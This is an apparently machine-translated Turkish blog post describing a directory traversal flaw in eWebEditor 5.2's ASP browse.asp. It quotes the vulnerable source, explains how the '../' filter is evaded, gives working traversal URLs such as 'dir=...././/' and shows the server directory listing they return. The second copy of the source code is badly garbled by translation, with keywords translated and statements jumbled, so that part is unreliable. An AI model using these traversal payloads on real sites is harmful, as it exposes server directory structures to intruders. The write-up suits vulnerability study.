ewebeditor 5.2 serisi kataloğu açıkları
: St0p
Kendi önce editör ile kendi istasyonu dinlenme, yorgun çalışmak 5.2 asp sürümü ewebeditor düzene, bir editör, gerçekten küçük bir kaçamak bulundu düşünüyorum olmasa rolü Ancak oldukça iyi bir yardımcı veya kullanılamaz.
Ewebeditor / asp / browse.asp boşluğu var Dosya
A 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 | Dim s_List, s_Url s_List = "" Dim oFSO, oUploadFolder, oUploadFiles, oUploadFile, sFileName 'Response.Write sCurrDir 'On Error Resume Next Set oFSO = Server . CreateObject ( "Scripting.FileSystemObject" ) Set oUploadFolder = oFSO. GetFolder ( Server . MapPath ( sCurrDir ) ) '注意一下sCurrDir变量,这个值等下我们可以用到 If Err. Number > 0 Then s_List = "" Exit Function End If If sDir <> "" Then If InstrRev ( sDir, "/" ) > 1 Then s_Url = Left ( sDir, InstrRev ( sDir, "/" ) - 1 ) Else s_Url = "" End If s_List = s_List & "<tr onclick='doRowClick(this)' onmouseover='doRowOver(this)' onmouseout='doRowOut(this)' isdir='true' path='" & s_Url & "'>" & _ "<td><img border=0 src='../sysimage/file/parentfolder.gif'></td>" & _ "<td>..</td>" & _ "<td> </td>" & _ "</tr>" End If 'Response.Write sDir&"!"&s_List Dim oSubFolder For Each oSubFolder In oUploadFolder. SubFolders 'Response.Write oUploadFolder.SubFolders If sDir = "" Then s_Url = oSubFolder. Name Else s_Url = sDir & "/" & oSubFolder. Name End If s_List = s_List & "<tr onclick='doRowClick(this)' onmouseover='doRowOver(this)' onmouseout='doRowOut(this)' isdir='true' path='" & s_Url & "'>" & _ "<td><img border=0 src='../sysimage/file/closedfolder.gif'></td>" & _ "<td noWrap>" & oSubFolder. Name & "</td>" & _ "<td> </td>" & _ "</tr>" Next 'Response.Write s_List Set oUploadFiles = oUploadFolder. Files For Each oUploadFile In oUploadFiles 'Response.Write oUploadFile.Name sFileName = oUploadFile. Name If CheckValidExt ( sFileName ) = True Then '这行让人有点郁闷,检测了所有允许的文件后缀,如不允许就无法列出,不然就不只列出目录名和图片文件了 If sDir = "" Then s_Url = sContentPath & sFileName Else s_Url = sContentPath & sDir & "/" & sFileName End If s_List = s_List & "<tr onclick='doRowClick(this)' onmouseover='doRowOver(this)' onmouseout='doRowOut(this)' url='" & s_Url & "'>" & _ "<td>" & FileName2Pic ( sFileName ) & "</td>" & _ "<td noWrap>" & sFileName & "</td>" & _ "<td align=right>" & GetSizeUnit ( oUploadFile. size ) & "</td>" & _ "</tr>" End If Next Set oUploadFolder = Nothing Set oUploadFiles = Nothing 'Response.Write Server.HTMLEncode(s_List)&"!"&s_Url If sDir = "" Then s_Url = "" 's_Url = "/" Else s_Url = "/" & sDir & "" 's_Url = "/" & sDir & "/" End If s_List = s_List & "</table>" s_List = HTML2JS ( s_List ) 'Response.Write Server.HTMLEncode(s_List)&"!"&s_Url s_List = "parent.setDirList(" "" & s_List & "" ", " "" & s_Url & "" ")" GetList = s_List End Function '如果没有下面这步检测的话,应该就可以列出目录中所有的文件了,有点郁闷..现在只能列出允许后缀的文件和目录名 Function CheckValidExt ( s_FileName ) If sAllowExt = "" Then CheckValidExt = True Exit Function End If Dim i, aExt, sExt sExt = LCase ( Mid ( s_FileName, InStrRev ( s_FileName, "." ) + 1 ) ) CheckValidExt = False aExt = Split ( LCase ( sAllowExt ) , "|" ) For i = 0 To UBound ( aExt ) If aExt ( i ) = sExt Then CheckValidExt = True Exit Function End If Next End Function '我们顺着代码往下找,发现sCurrDir的值是通过下面的值得到的 Sub InitParam ( ) sType = UCase ( Trim ( Request . QueryString ( "type" ) ) ) sStyleName = Trim ( Request . QueryString ( "style" ) ) Dim i, aStyleConfig, bValidStyle bValidStyle = False For i = 1 To Ubound ( aStyle ) aStyleConfig = Split ( aStyle ( i ) , "|||" ) If Lcase ( sStyleName ) = Lcase ( aStyleConfig ( 0 ) ) Then bValidStyle = True Exit For End If Next If bValidStyle = False Then OutScript ( "alert('Invalid Style.')" ) End If sBaseUrl = aStyleConfig ( 19 ) 'nAllowBrowse = CLng(aStyleConfig(43)) nAllowBrowse = 1 If nAllowBrowse <> 1 Then OutScript ( "alert('Do not allow browse!')" ) End If sUploadDir = aStyleConfig ( 3 ) If Left ( sUploadDir, 1 ) <> "/" Then Select Case sType Case "REMOTE" sUploadDir = "../../" & sUploadDir & "Image/" Case "FILE" sUploadDir = "../../" & sUploadDir & "Other/" Case "MEDIA" sUploadDir = "../../" & sUploadDir & "Media/" Case "FLASH" sUploadDir = "../../" & sUploadDir & "Flash/" Case Else sUploadDir = "../../" & sUploadDir & "Image/" End Select End If 'sUploadDir =sUploadDir &"/" Select Case sBaseUrl Case "0" 'sContentPath = aStyleConfig(23) Select Case sType Case "REMOTE" sContentPath = "../" & aStyleConfig ( 3 ) & "Image/" Case "FILE" sContentPath = "../" & aStyleConfig ( 3 ) & "Other/" Case "MEDIA" sContentPath = "../" & aStyleConfig ( 3 ) & "Media/" Case "FLASH" sContentPath = "../" & aStyleConfig ( 3 ) & "Flash/" Case Else sContentPath = "../" & aStyleConfig ( 3 ) & "Image/" End Select Case "1" sContentPath = RelativePath2RootPath ( sUploadDir ) Case "2" sContentPath = RootPath2DomainPath ( RelativePath2RootPath ( sUploadDir ) ) End Select Select Case sType Case "REMOTE" sAllowExt = aStyleConfig ( 10 ) Case "FILE" sAllowExt = aStyleConfig ( 6 ) Case "MEDIA" sAllowExt = aStyleConfig ( 9 ) Case "FLASH" sAllowExt = aStyleConfig ( 7 ) Case Else sAllowExt = aStyleConfig ( 8 ) End Select sCurrDir = sUploadDir '注意这里,这个是得到了配置的路径地址 sDir = Trim ( Request ( "dir" ) ) '得到dir变量 sDir = Replace ( sDir, "\" , "/" ) '对dir变量进行过滤 sDir = Replace ( sDir, "../" , "" ) sDir = Replace ( sDir, "./" , "" ) If sDir <> "" Then If CheckValidDir ( Server . Mappath ( sUploadDir & sDir ) ) = True Then sCurrDir = sUploadDir & sDir & "/" '重点就在这里了,看到没有,当sUploadDir & sDir存在的时候,sCurrDir就为sUploadDir & sDir的值了'虽然上面对sDir进行了过滤,不过我们完全可以跳过.具体利用st0p会在下面的利用中给出 Else sDir = "" End If End If End Sub Fonksiyon GetList () Dim s_List, s_Url s_List = "" (Scripting.FileSystemObject ") Set oUploadFolder = oFSO Dim oFSO, oUploadFolder, oUploadFiles, oUploadFile, sFilename 'Response.Write sCurrDir' On Error Sonraki Set oFSO = Server. CreateObject Devam". GetFolder (Server. MapPath (sCurrDir)) 'notu sCurrDir değişken, bu değeri biz Numarası eğer Err> 0 Then s_List = "" Exit Function End If sDir <> "" Then Eğer InStrRev (sDir kullanabilirsiniz "/")> 1 Then s_Url = Sol (sDir, InStrRev (sDir, "/") - 1) Else s_Url = "" End If s_List = s_List & "<tr onclick = 'doRowClick (bu)' onmouseover = 'doRowOver (Bu) 'onmouseout =' doRowOut (bu) 'isdir =' true 'yol =' "& s_Url &" '> "& _" <td> <img border = 0 src =' .. / sysimage / dosya / parentfolder gif "> </ td>" & _ "<td> .. </ td>" & _ "</ font>" & _ "</ tr>" End If 'Response.Write sDir & oUploadFolder In Her oSubFolder için "!" & s_List Dim oSubFolder. alt klasörleri 'Response.Write oUploadFolder.SubFolders Eğer sDir = "" Then Else s_Url = oSubFolder. Adı s_Url = sDir & "/" & oSubFolder. Adı End If s_List = s_List & " <tr onclick='doRowClick(this)' onmouseover='doRowOver(this)' onmouseout='doRowOut(this)' isdir='true' path='" & s_Url & "'> "& _" <td> <img border = 0 src = '.. / sysimage / dosya / closedfolder.gif'> </ td> "& _" <td noWrap> "& oSubFolder. Adı &" </ td> "& _" <td> Response.Write oUploadFile.Name sFilename </ td> "& _" </ tr> "Next" oUploadFiles In Her oUploadFile için Response.Write s_List Set oUploadFiles = oUploadFolder. Dosyalar '= oUploadFile. Adı CheckValidExt (sFilename) = True Sonra ise 'Bu hattı bu tür & için ise sDir = "" Sonra s_Url = sContentPath & Else sFilename s_Url = sContentPath sadece dizinin adını ve resim dosyasını listelemek veya listelemek değil mümkün olmayacaktır gibi tüm izin verilen dosya eki, algılamak için, biraz depresif oldu sDir & "/" & sFilename End If s_List = s_List & "<tr onclick='doRowClick(this)' onmouseover='doRowOver(this)' onmouseout='doRowOut(this)' url='" & s_Url & "'> "& _" <td> "& FileName2Pic (sFilename) &" </ td> "& _" <td noWrap> "& sFilename &" </ td> "& _" <td align=right> "& GetSizeUnit ( oUploadFile. boyut) & "</ td>" & _ "</ tr>" End Sonraki Set oUploadFolder varsa = Nothing Set oUploadFiles = Nothing 'Response.Write Server.HTMLEncode (s_List) & "" & s_Url Eğer sDir = "" Sonra s_Url = "" 's_Url = "/" Else s_Url = "/" & sDir & ""' s_Url = "/" & sDir & "/" End If s_List = s_List & "</ table>" s_List = HTML2JS ( s_List) 'Response.Write Server.HTMLEncode (s_List) & "" & s_Url s_List = "parent.setDirList (" "" & s_List & "" "" "" & s_Url & "" ")" GetList = s_List End Function 'Eğer algılama adım yoksa, dizindeki tüm dosyaları listelemek mümkün, ve depresif biraz .. şimdi sadece sonek ad işlev CheckValidExt (s_FileName) izin vermek için dosya ve dizinleri listeler gerektiği takdirde sAllowExt = "" Then CheckValidExt = Gerçek Exit Function End Dim i, aExt, sExt sExt = LCase (Mid (s_FileName, InStrRev (s_FileName,) + 1) ".") CheckValidExt = False aExt = Split (LCase (sAllowExt), "|") If For i = aExt (i) = sExt Sonra CheckValidExt = True Exit Function End aşağıdaki bulundu sCurrDir değerini bulmak için bu kodu aşağı Next End Function 'Sub InitParam (değer ise) STYPE = Eğer 0 To UBound (aExt) UCase (Trim (Request. QueryString ("type"))) sStyleName = Trim (Request. QueryString ("style")) Dim i, aStyleConfig, bValidStyle bValidStyle = False i = 1 To UBound (aStyle) aStyleConfig = Bölünmüş için (aStyle (i), "| | |") Next End If için LCase (sStyleName) = LCase (aStyleConfig (0)) Sonra bValidStyle = True Exit If bValidStyle = False Then OutScript ("alert ('Geçersiz Stil.')") End If sBaseUrl = aStyleConfig (19) 'nAllowBrowse = CLng (aStyleConfig (43)) nAllowBrowse = 1 ise nAllowBrowse <> 1 Then OutScript ("alert (' göz izin vermeyin! ')") End If sUploadDir = aStyleConfig (3) Sol ise (sUploadDir, 1) <> "/" Sonra Vaka STYPE Case "UZAK" sUploadDir seçin = ".. / .. /" & sUploadDir ve "Image /" Case "DOSYA" sUploadDir = ".. / .. / "& sUploadDir ve" Diğer / "Case" MEDYA "sUploadDir =" .. / .. / "& sUploadDir &" Medya / "Case" FLASH "sUploadDir =" .. / .. / "& sUploadDir &" Flash / " Case Else sUploadDir = ".. / .. /" & sUploadDir ve "Image /" End Select End sContentPath '"0" sUploadDir = sUploadDir & "/" Select Case sBaseUrl Case' Eğer = aStyleConfig (23) Select Case STYPE Örneği " UZAKTAN "sContentPath =" .. / "& aStyleConfig (3) ve" Image / "Case" DOSYA "sContentPath =" .. / "& aStyleConfig (3) ve" Diğer / "Case" MEDYA "sContentPath =" .. / "& aStyleConfig (3) ve" Medya / "Case" FLASH "sContentPath =" .. / "& aStyleConfig (3) &" Flash / "Case Else sContentPath =" .. / "& aStyleConfig (3) ve" Image / "End Select Case" 1 "sContentPath = RelativePath2RootPath (sUploadDir) Case" 2 FILE "sAllowExt = aStyleConfig (6 UZAKTAN" = aStyleConfig (10) Olgu sAllowExt "" sContentPath = RootPath2DomainPath (RelativePath2RootPath (sUploadDir)) End Select Case STYPE Olgu seçin " ) Case "MEDYA" sAllowExt = aStyleConfig (9) Case "FLASH" sAllowExt Else = aStyleConfig (7) Olgu sAllowExt = aStyleConfig (8) End Select sCurrDir = sUploadDir 'Not Bu yapılandırma adresi sDir = Trim (yoludur Request ("dir")) dir değişken filtre sDir = Replace (sDir ".. /", "") sDir = Değiştir 'değişken sDir dir = Replace (sDir, "\", "/") almak' ( sDir, ". /", "") sDir <> Eğer "" Sonra CheckValidDir (Server. MapPath (sUploadDir & sDir)) = True Then sCurrDir = sUploadDir & sDir & "/" 'buraya odaklanmak, görürseniz Hayır, zaman zaman sUploadDir & sDir, sUploadDir & sDir 'sDir yüzünde filtre rağmen değerini sCurrDir, ama biz atlayabilirsiniz. özel kullanım st0p Else sDir = aşağıdaki kullanımına verilecektir "End If End Sub |
Hey, sen Aslında, filtreleme dir olduğunu anlamalıdır Bunu görmek, biz doğrulama atlamak için özel bir değer oluşturmak, böylece dizin yapısını almak ve ayarları dosyasını izin dosyaların uzantılı dosyayı görüntüleyebilirsiniz ..
Yöntemlerin kullanımı aşağıdaki gibidir
http://www.st0p.org/ewebeditor/asp/browse.asp?style=standard650&dir=..../.// ..
St0p testi yükleme dizini yuklenecek_dosya, kök dizindeki tüm dizinleri alabilirsiniz Yukarıdaki adres kök dizin.
Açık bir ekranı boş bulursanız Hey, kaynak kodunu görüntülemek görmek, dizinin adının kök dizini hangi kalp, kaybetmek istemiyorum.
O dizinin bir konuk dizin var kök, biz aşağıdaki adrese yaptığı aşağıdaki yapısı listeleyebilirsiniz
http://www.st0p.org/ewebeditor/asp/browse.asp?style=standard650&dir=...././/...././/guest
Sonra da olabilir
http://www.st0p.org/ewebeditor/asp/browse.asp?style=standard650&dir=...././/../..../.// ..
Yüksek katmanlara Git, benim test sanal konak, www, logfile, datebase üç dizin almak.
A
| <HTML> <HEAD> <meta Http-equiv='Content-Type' content='text/html; charset=utf-8'> <TITLE> eWebEditor </ title> </ head> <body> <script language = javascript> parent.setDirList ("<tr onclick='doRowClick(this)' onmouseover='doRowOver(this)' onmouseout='doRowOut(this)' isdir='true' path='../..'> <td > <img border=0 src='../sysimage/file/parentfolder.gif'> </ td> .. </ td> </ td> </ tr> <tr onclick = 'doRowClick (bu)' onmouseover = 'doRowOver (bu)' onmouseout = 'doRowOut (bu)' isdir = 'true' yol = '.. / .. / .. / LogFiles'> <td> <img border = 0 src = '.. / sysimage / dosya / closedfolder.gif'> </ td> <td noWrap> LogFiles </ td> </ td> </ tr> <tr onclick = 'doRowClick (bu ) 'onmouseover =' doRowOver (bu) 'onmouseout =' doRowOut (bu) 'isdir =' true 'yol =' .. / .. / .. / www '> <td> <img border = 0 src ='. . / sysimage / dosya / closedfolder.gif '> </ td> <td noWrap> www </ td> </ td> </ tr> </ table> "," / .. / .. / .. ") </ script> </ body> </ html> |
Saldırı tespit yardımcı kullanımı, dizin yapısı alabilirsiniz Bu güvenlik açığı yalnızca kabul edilebilir, örneğin, değişim yönetimi dizin, veritabanı dizin, böylece dizin adı alabilirsiniz, ama dosyaları st0p depresif izin sayamayacağım. Ben ....
Bu, birden, Ga, şimdi de dikkate blog açıldı sonra, blogda st0p tarafından yayınlanan ikinci orijinal belge ..
Not: Ben resepsiyonda bulunan tüm kullanılan web dizininde atlama yerini alacaktır










































306 Trackback (s)
Siz gereken oturum Yorum yazmak için.